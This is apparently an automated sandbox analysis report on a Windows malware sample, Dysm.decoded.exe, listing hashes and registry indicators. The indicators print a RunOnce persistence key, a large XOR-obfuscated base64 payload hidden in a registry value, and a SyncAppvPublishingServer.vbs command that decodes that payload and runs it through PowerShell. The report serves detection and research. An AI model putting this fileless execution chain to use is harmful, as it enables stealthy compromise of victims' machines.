Analysis
- max time kernel
27s - max time network
35s - platform
windows7_x64 - resource
win7-20230220-en - resource tags
arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system - submitted
03/04/2023, 22:55
Static task
static1
Behavioral task
behavioral1
Sample
Dysm.decoded.exe
Resource
win7-20230220-en
2 signatures
150 seconds
Behavioral task
behavioral2
Sample
Dysm.decoded.exe
Resource
win10v2004-20230221-en
2 signatures
150 seconds
General
- Target Dysm.decoded.exe
- Size 54KB
- Sample230403-2v4headd4t
- SHA256 bb3d35cba3434f053280fc2887a7e6be703505385e184da4960e8db533cf4428
- MD5 aea6585be1b8ed83061e13b72e2f21d7
- SHA1 42ae87079f73f4fa3513b0febb288e3860be061f
- SHA512 0d06ad383409e1563ed2df15b49bfd6d73576f225a6f97b2f5625e480a4e39c041afbfb14b20dcfe6dcf59ce34a37556dd891d5e9a1739ffc2838ef7d55fbdc2
- SSDEEP 768:fauBAEAsP2ysspQ4gIBngqPEsDVN4Z6rk6bkkDUrpuaWj5:J20pQ4gIBnXPEsZN7kUfDep7E5
- MD5 SHA1 SHA512 SSDEEP
Score
6/10
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\iexplore = "C:\\Program Files\\Internet Explorer\\iexplore.exe" Dysm.decoded.exe - Modifies registry class 9 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\abcdfile\shell Dysm.decoded.exe Set value (str) \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\abcdfile\shell\open\command\abcd = "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" Dysm.decoded.exe Set value (str) \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\abcdfile\shell\open\command\DelegateExecute Dysm.decoded.exe Key created \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\.abcd Dysm.decoded.exe Set value (str) \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\.abcd\ = "abcdfile" Dysm.decoded.exe Key created \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\abcdfile\shell\open\command Dysm.decoded.exe Key created \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\abcdfile Dysm.decoded.exe Key created \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\abcdfile\shell\open Dysm.decoded.exe Set value (str) \REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000_CLASSES\abcdfile\shell\open\command\ = "cmd.exe /c SyncAppvPublishingServer.vbs \"n;sal abcd ($EnV:COMspEC[4, 26, 25]-jOiN'');[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\\abcdfile\\shell\\open\\command' -Name 'abcd').'abcd')|%% -Begin{$i=0} -Process{$_ = $_ -bxor $i%%256;$i++;$_}))|abcd\"" Dysm.decoded.exe